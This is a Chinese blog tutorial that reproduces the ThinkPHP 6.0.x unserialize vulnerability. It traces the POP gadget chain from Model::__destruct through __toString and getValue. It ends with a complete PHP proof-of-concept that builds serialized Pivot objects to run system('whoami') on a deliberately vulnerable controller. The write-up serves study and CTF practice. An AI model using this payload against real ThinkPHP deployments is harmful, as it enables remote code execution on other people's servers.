ThinkPHP V6.0反序列化漏洞复现

写在前面

跟着大佬一步一步复现的:ThinkPHP V6.0.x反序列化漏洞(自己的话emm(没事看看链子真的能让浮躁的心静下来…))

环境搭建

安装好composer

composer create-project topthink/think=6.0.x-dev thinkphp-v6.0
cd thinkphp-v6.0
php think run

手动设置好利用点


namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
    public function index()
    {
        $c = unserialize($_GET['CyanMoun']);   // 参数可控的unserialize函数
        var_dump($c);
        return 'Welcome to ThinkPHP!';
    }
}

__destruct

/vendor/topthink/think-orm/src/Model.phpModel 类的 __destruct 方法

ThinkPHP V6.0反序列化漏洞复现_第1张图片

$this->lazySave==true 时,可进入到save()方法,转到save方法的定义:

ThinkPHP V6.0反序列化漏洞复现_第2张图片

需要$this->isEmpty()为false,$this->trigger('BeforeWrite')为true

  • $this->isEmpty() 方法:

    ThinkPHP V6.0反序列化漏洞复现_第3张图片

    $this->data不为空

  • $this->trigger() 方法(位于vendor\topthink\think-orm\src\model\concern\ModelEvent.php中):

    ThinkPHP V6.0反序列化漏洞复现_第4张图片

    $this->withEvent为false即可

$this->exists为true即可进入 $this->updateData(),转到定义:

ThinkPHP V6.0反序列化漏洞复现_第5张图片

$this->getChangedData() 方法:

ThinkPHP V6.0反序列化漏洞复现_第6张图片

设置 $this-data 为非空,$this->force == true 即可,返回到刚才分析点,转到$this->checkAllowFields():

ThinkPHP V6.0反序列化漏洞复现_第7张图片

ThinkPHP V6.0反序列化漏洞复现_第8张图片

默认就可进入,然后来看$this->db()方法:

ThinkPHP V6.0反序列化漏洞复现_第9张图片

总结下设置点:

$this->data不为空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true

注意:

Model 类是抽象类,不能实例化。所以要想利用,得找出 Model 类的一个子类进行实例化,这里可以用 Pivot 类(位于\vendor\topthink\think-orm\src\model\Pivot.php中)进行利用

__toString

利用点位于 vendor\topthink\think-orm\src\model\concern\Conversion.php 中名为Conversion 的trait(什么是trait)中:

ThinkPHP V6.0反序列化漏洞复现_第10张图片

跟进到$this->toArray()定义处:

ThinkPHP V6.0反序列化漏洞复现_第11张图片

$data进行遍历,其中 $key$data 的键。默认情况下,会进入第二个 elseif 语句,从而将 $key 作为参数调用 getAttr() 方法。

我们接着跟进 getAttr() 方法(位于 vendor\topthink\think-orm\src\model\concern\Attribute.php 中):

ThinkPHP V6.0反序列化漏洞复现_第12张图片

转到$this->getData()看看$value

ThinkPHP V6.0反序列化漏洞复现_第13张图片

$name 值不为空,则将 $name值传入到getRealFieldName()方法,即toArray() 传进来的 $key

继续跟进 getRealFieldName() 方法:(这里代码版本过高,懒了就做了点修改):

ThinkPHP V6.0反序列化漏洞复现_第14张图片

$this->strict == true 时(默认为true),直接返回$name,也就是最开始从 toArray() 方法中传进来的 $key 值。所以getData()返回的就是$this->data[$key],再来看getAttr(),最后的返回语句 getValue() 方法:($value 的值就是 $this->data[$key]

ThinkPHP V6.0反序列化漏洞复现_第15张图片

$closure 为 “system”,$this->data 为要执行的命令即可。

withAttr[$fieldName]="system"$this->data="whoami" ,即执行 system('whoami');

注意 $this->withAttr[$key] 存在且不为数组即可。

最后将table 声明为Pivot类的对象,从而将两个POP链串联起来。

POC


    
namespace think\model\concern;

trait Attribute
{
    private $data = ["evil_key" => "whoami"];
    private $withAttr = ["evil_key" => "system"];
}

namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

(有些地方还有些疑问,估计得多了解下tp的使用和命名空间吧,希望借此以后能多学习学习)

ThinkPHP V6.0反序列化漏洞复现_第16张图片

CTF

[安洵杯 2019]iamthinking考的就是这个点,感兴趣可以拿来练练手

你可能感兴趣的:(安全学习,安全,php)